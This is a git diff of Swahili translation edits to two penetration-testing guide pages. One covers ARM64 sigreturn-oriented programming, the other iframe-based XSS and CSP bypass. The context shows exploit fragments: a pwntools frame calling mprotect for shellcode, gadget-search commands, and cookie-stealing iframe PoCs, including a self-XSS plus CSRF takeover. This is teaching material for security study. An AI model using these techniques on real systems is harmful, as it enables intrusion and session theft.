diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index a689e9fc0..5a95cb37a 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -4,7 +4,7 @@ ## Mfano wa Pwntools -Mfano huu unaunda binary iliyo hatarini na kuifanya. Binary **inasoma kwenye stack** kisha inaita **`sigreturn`**: +Mfano huu unaunda binary iliyo hatarini na kuifanya. Binary **inasoma kwenye stack** na kisha inaita **`sigreturn`**: ```python from pwn import * @@ -34,7 +34,7 @@ p.interactive() ``` ## bof mfano -### Msimbo +### Code ```c #include #include @@ -132,7 +132,7 @@ return 0; ``` ## Exploit -Katika sehemu **`vdso`** inawezekana kupata wito kwa **`sigreturn`** katika ofseti **`0x7b0`**: +Katika sehemu **`vdso`** inawezekana kupata wito wa **`sigreturn`** katika ofseti **`0x7b0`**:
@@ -179,9 +179,9 @@ Na ili kupita anwani ya `/bin/sh` unaweza kuunda mabadiliko kadhaa ya mazingira --- -## Kutafuta vifaa vya `sigreturn` kiotomatiki (2023-2025) +## Kupata vifaa vya `sigreturn` kiotomatiki (2023-2025) -Katika usambazaji wa kisasa, trampoline ya `sigreturn` bado inatolewa na ukurasa wa **vDSO** lakini offset halisi inaweza kutofautiana kati ya toleo la kernel na bendera za ujenzi kama BTI (`+branch-protection`) au PAC. Kuwezesha kugundua kwake kunazuia kuweka offsets kwa nguvu: +Katika usambazaji wa kisasa, trampoline ya `sigreturn` bado inatolewa na ukurasa wa **vDSO** lakini offset halisi inaweza kutofautiana kati ya matoleo ya kernel na bendera za kujenga kama BTI (`+branch-protection`) au PAC. Kuwezesha kugundua kwake kunazuia kuweka offsets kwa nguvu: ```bash # With ROPgadget ≥ 7.4 python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn @@ -191,11 +191,11 @@ rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigret ``` Zana zote mbili zinaelewa **AArch64** encodings na zitaorodhesha mguso wa `mov x8, 0x8b ; svc #0` ambao unaweza kutumika kama *SROP gadget*. -> Kumbuka: Wakati binaries zinapoundwa na **BTI**, amri ya kwanza ya kila lengo la tawi la moja kwa moja halali ni `bti c`. `sigreturn` trampolines zilizowekwa na linker tayari zinajumuisha pad ya BTI sahihi hivyo gadget inabaki kutumika kutoka kwa msimbo usio na mamlaka. +> Kumbuka: Wakati binaries zinapokamilishwa na **BTI**, amri ya kwanza ya kila lengo la tawi la moja kwa moja halali ni `bti c`. `sigreturn` trampolines zilizowekwa na linker tayari zinajumuisha pad ya BTI sahihi hivyo gadget inabaki kutumika kutoka kwa msimbo usio na mamlaka. ## Kuunganisha SROP na ROP (pivot kupitia `mprotect`) -`rt_sigreturn` inatupa udhibiti wa *mifumo yote* ya usajili wa jumla na `pstate`. Mwelekeo wa kawaida kwenye x86 ni: 1) tumia SROP kuita `mprotect`, 2) pivot kwa stack mpya inayoweza kutekelezwa yenye shell-code. Wazo sawa kabisa linafanya kazi kwenye ARM64: +`rt_sigreturn` inatupa udhibiti wa *mara zote* za jumla za matumizi na `pstate`. Mwelekeo wa kawaida kwenye x86 ni: 1) tumia SROP kuita `mprotect`, 2) pivot kwa stack mpya inayoweza kutekelezwa yenye shell-code. Wazo sawa kabisa linafanya kazi kwenye ARM64: ```python frame = SigreturnFrame() frame.x8 = constants.SYS_mprotect # 226 @@ -205,7 +205,7 @@ frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC frame.sp = 0x400000 + 0x100 # new pivot frame.pc = svc_call # will re-enter kernel ``` -Baada ya kutuma fremu unaweza kutuma hatua ya pili inayojumuisha shell-code safi kwenye `0x400000+0x100`. Kwa sababu **AArch64** inatumia *PC-relative* anwani hii mara nyingi ni rahisi zaidi kuliko kujenga minyororo mikubwa ya ROP. +Baada ya kutuma fremu unaweza kutuma hatua ya pili inayojumuisha shell-code safi kwenye `0x400000+0x100`. Kwa sababu **AArch64** inatumia *PC-relative* addressing hii mara nyingi ni rahisi zaidi kuliko kujenga mnyororo mkubwa wa ROP. ## Uthibitishaji wa Kernel, PAC & Shadow-Stacks @@ -215,11 +215,11 @@ Linux 5.16 ilianzisha uthibitishaji mkali wa fremu za ishara za watumiaji (commi * Neno lililotengwa katika `struct rt_sigframe` lazima liwe sifuri. * Kila kiashiria katika rekodi ya *extra_context* kimepangwa na kinaelekeza ndani ya nafasi ya anwani ya mtumiaji. -`pwntools>=4.10` inaunda fremu zinazokidhi vigezo kiotomatiki, lakini ikiwa unazijenga kwa mikono hakikisha kuanzisha *reserved* kuwa sifuri na uondoe rekodi ya SVE isipokuwa unahitaji kweli—venginevyo `rt_sigreturn` itatoa `SIGSEGV` badala ya kurudi. +`pwntools>=4.10` inaunda fremu zinazokubalika kiotomatiki, lakini ikiwa unazijenga kwa mikono hakikisha kuanzisha *reserved* kuwa sifuri na uondoe rekodi ya SVE isipokuwa unahitaji kweli—venginevyo `rt_sigreturn` itatoa `SIGSEGV` badala ya kurudi. -Kuanza na Android 14 na Fedora 38, userland inajengwa na **PAC** (*Pointer Authentication*) na **BTI** imewezeshwa kwa default (`-mbranch-protection=standard`). *SROP* yenyewe haijaathiriwa kwa sababu kernel inabadilisha `PC` moja kwa moja kutoka kwa fremu iliyoundwa, ikipita LR iliyothibitishwa iliyohifadhiwa kwenye stack; hata hivyo, **minyororo yoyote ya ROP inayofuata** inayofanya matawi yasiyo ya moja kwa moja lazima iruke kwenye maagizo yaliyo na BTI au anwani za PAC. Kumbuka hilo unapochagua gadgets. +Kuanza na Android 14 na Fedora 38, userland inajengwa na **PAC** (*Pointer Authentication*) na **BTI** imewezeshwa kwa default (`-mbranch-protection=standard`). *SROP* yenyewe haijaathiriwa kwa sababu kernel inabadilisha `PC` moja kwa moja kutoka kwa fremu iliyoundwa, ikipita LR iliyothibitishwa iliyohifadhiwa kwenye stack; hata hivyo, **mnyororo wowote wa ROP** unaofanya matawi yasiyo ya moja kwa moja lazima uruke kwenye maagizo yaliyo na BTI au anwani za PAC. Kumbuka hilo unapochagua gadgets. -Shadow-Call-Stacks zilizoanzishwa katika ARMv8.9 (na tayari zimewezeshwa kwenye ChromeOS 1.27+) ni hatua ya kupunguza kiwango cha kompyuta na *hazihusiani* na SROP kwa sababu hakuna maagizo ya kurudi yanayotekelezwa—mwelekeo wa udhibiti unahamishwa na kernel. +Shadow-Call-Stacks zilizoanzishwa katika ARMv8.9 (na tayari zimewezeshwa kwenye ChromeOS 1.27+) ni hatua ya kupunguza kiwango cha kompyuta na *hazihusiani* na SROP kwa sababu hakuna maagizo ya kurudi yanayotekelezwa—mtiririko wa udhibiti unahamishwa na kernel. ## Marejeleo diff --git a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md index aba2d8cd1..f99019615 100644 --- a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md +++ b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md @@ -7,7 +7,7 @@ Kuna njia 3 za kuonyesha maudhui ya ukurasa wa iframed: - Kupitia `src` kuashiria URL (URL inaweza kuwa ya asili tofauti au ya asili sawa) -- Kupitia `src` kuashiria maudhui kwa kutumia itifaki ya `data:` +- Kupitia `src` kuashiria maudhui kwa kutumia protokali ya `data:` - Kupitia `srcdoc` kuashiria maudhui **Kufikia Parent & Child vars** @@ -45,7 +45,7 @@ var secret = "child secret" alert(parent.secret) ``` -Ikiwa unapata html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia var `secret` ndani ya iframe yoyote** na **ni iframes if2 & if3 pekee (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\ +Ikiwa utafungua html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia)., **mzazi hataweza kufikia `secret` var ndani ya iframe yoyote** na **ni iframes if2 & if3 tu (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\ Tazama jinsi if4 inachukuliwa kuwa na asili `null`. ### Iframes na CSP @@ -76,14 +76,14 @@ id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"> ``` -Note jinsi **CSP ya awali inaruhusu tu utekelezaji wa script ya ndani**.\ -Hata hivyo, **ni `if1` na `if2` tu ambazo zitatekelezwa lakini ni `if1` pekee itakayoweza kufikia siri ya mzazi**. +Note how the **previous CSP only permits the execution of the inline script**.\ +However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**. ![](<../../images/image (372).png>) -Kwa hivyo, inawezekana **kuzidi CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia kipengele cha JSONP cha same-site**. +Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**. -Unaweza kujaribu hii na hali ifuatayo ambapo cookie inakuliwa hata na `script-src 'none'`. Endesha tu programu na uifungue na kivinjari chako: +You can test this with the following scenario where a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser: ```python import flask from flask import Flask @@ -107,7 +107,7 @@ app.run() Jamii ya utafiti inaendelea kugundua njia za ubunifu za kutumia iframes ili kushinda sera za kikomo. Hapa chini unaweza kupata mbinu zinazojulikana zaidi zilizochapishwa katika miaka michache iliyopita: -* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – Wakati programu inareflect HTML lakini CSP kali inazuia utekelezaji wa script, bado unaweza kuvuja tokens nyeti kwa kuingiza *dangling* ` ``` -### Iframes zisizo na akreditivu +### Credentialless iframes -Kama ilivyoelezwa katika [hiki kifungu](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akreditivu katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakuliwa ndani ya iframe. +Kama ilivyoelezwa katika [hiki kifungu](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akidi katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakuliwa ndani ya iframe. Tangu **Chrome 110 (Februari 2023 kipengele hiki kimewezeshwa kwa default** na kiwango kinastandariswa kati ya vivinjari chini ya jina *anonymous iframe*. MDN inaelezea kama: “mekanismu ya kupakia iframes za wahusika wengine katika sehemu mpya ya kuhifadhi ya muda ili kwamba hakuna vidakuzi, localStorage au IndexedDB vinavyoshirikiwa na asili halisi”. Matokeo kwa washambuliaji na walinzi: -* Skripti katika iframes tofauti zisizo na akreditivu **bado zinashiriki asili ya kiwango cha juu** na zinaweza kuingiliana kwa uhuru kupitia DOM, kufanya mashambulizi ya multi-iframe self-XSS kuwa yawezekana (tazama PoC hapa chini). -* Kwa sababu mtandao ni **credential-stripped**, ombi lolote ndani ya iframe linatenda kama kikao kisichothibitishwa – maeneo yaliyolindwa na CSRF kwa kawaida yanashindwa, lakini kurasa za umma zinazoweza kuvuja kupitia DOM bado ziko ndani ya wigo. -* Pop-ups zinazozalishwa kutoka iframe isiyo na akreditivu hupata `rel="noopener"` isiyo ya moja kwa moja, ikivunja baadhi ya mchakato wa OAuth. +* Skripti katika iframes tofauti za credentialless **bado zinashiriki asili ya kiwango cha juu** na zinaweza kuingiliana kwa uhuru kupitia DOM, kufanya mashambulizi ya multi-iframe self-XSS kuwa ya uwezekano (angalia PoC hapa chini). +* Kwa sababu mtandao umekuwa **credential-stripped**, ombi lolote ndani ya iframe linatenda kama kikao kisichothibitishwa – mwisho wa CSRF uliohifadhiwa kwa kawaida hushindwa, lakini kurasa za umma zinazoweza kuvuja kupitia DOM bado ziko ndani ya wigo. +* Pop-ups zinazozalishwa kutoka iframe ya credentialless hupata `rel="noopener"` isiyo ya moja kwa moja, ikivunja baadhi ya mchakato wa OAuth. ```javascript // PoC: two same-origin credentialless iframes stealing cookies set by a third window.top[1].document.cookie = 'foo=bar'; // write @@ -189,9 +189,9 @@ alert(window.top[2].document.cookie); // read -> foo=bar ``` - Mfano wa unyakuzi: Self-XSS + CSRF -Katika shambulio hili, mshambuliaji anajiandaa ukurasa mbaya wenye iframes 2: +Katika shambulio hili, mshambuliaji anajiandaa ukurasa wa wavuti mbaya wenye iframes 2: -- Iframe ambayo inachukua ukurasa wa mwathirika na bendera ya `credentialless` yenye CSRF inayosababisha XSS (Fikiria Self-XSS katika jina la mtumiaji): +- Iframe ambayo inachukua ukurasa wa mwathirika na bendera ya `credentialless` pamoja na CSRF inayosababisha XSS (Fikiria Self-XSS katika jina la mtumiaji): ```html @@ -209,7 +209,7 @@ document.forms[0].submit(); - Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`). -Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba cookie kwa mfano kwa kutekeleza: +Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba kidaku kwa mfano kwa kutekeleza: ```javascript alert(window.top[1].document.cookie); ```